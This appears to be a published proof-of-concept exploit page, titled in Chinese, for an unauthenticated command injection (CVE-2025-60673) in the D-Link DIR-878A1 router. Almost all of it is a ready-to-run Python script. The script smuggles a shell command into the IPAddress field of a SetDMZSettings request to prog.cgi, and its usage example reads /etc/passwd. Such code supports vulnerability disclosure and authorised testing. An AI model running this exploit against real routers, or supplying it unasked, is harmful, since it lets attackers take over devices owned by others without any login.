D-Link DIR-878A1路由器SetDMZSettings未认证命令注入漏洞(CVE-2025-60673)

#!/usr/bin/env python3 """ CVE-2025-60673 PoC - D-Link DIR-878A1 SetDMZSettings Command Injection This PoC demonstrates unauthenticated command injection in D-Link DIR-878A1 router. """ import requests import sys def exploit(target_ip, injected_command="echo vulnerable > /tmp/pwned"): """ Exploit the SetDMZSettings command injection vulnerability. Args: target_ip: IP address of the vulnerable D-Link router injected_command: Command to execute on the target device """ # Target URL for the vulnerable prog.cgi endpoint url = f"http://{target_ip}/prog.cgi" # The malicious payload exploits the IPAddress parameter # We inject a command by adding shell metacharacters after the IP address # The format typically requires a valid-looking IP prefix followed by command injection payload = { "SetDMZSettings": "1", "IPAddress": f"127.0.0.1;{injected_command} #", "enable": "1" } print(f"[*] Target: {target_ip}") print(f"[*] Sending malicious request...") print(f"[*] Payload: {payload}") try: # Send POST request without authentication response = requests.post(url, data=payload, timeout=10) print(f"[+] Request sent successfully") print(f"[*] Response status: {response.status_code}") if response.status_code == 200: print("[+] Exploit likely successful - check if command was executed") else: print("[-] Unexpected response") except requests.exceptions.RequestException as e: print(f"[-] Request failed: {e}") return False return True if __name__ == "__main__": if len(sys.argv) < 2: print(f"Usage: {sys.argv[0]} <target_ip> [command]") print(f"Example: {sys.argv[0]} 192.168.0.1 'cat /etc/passwd'") sys.exit(1) target = sys.argv[1] command = sys.argv[2] if len(sys.argv) > 2 else "echo PWNED" exploit(target, command)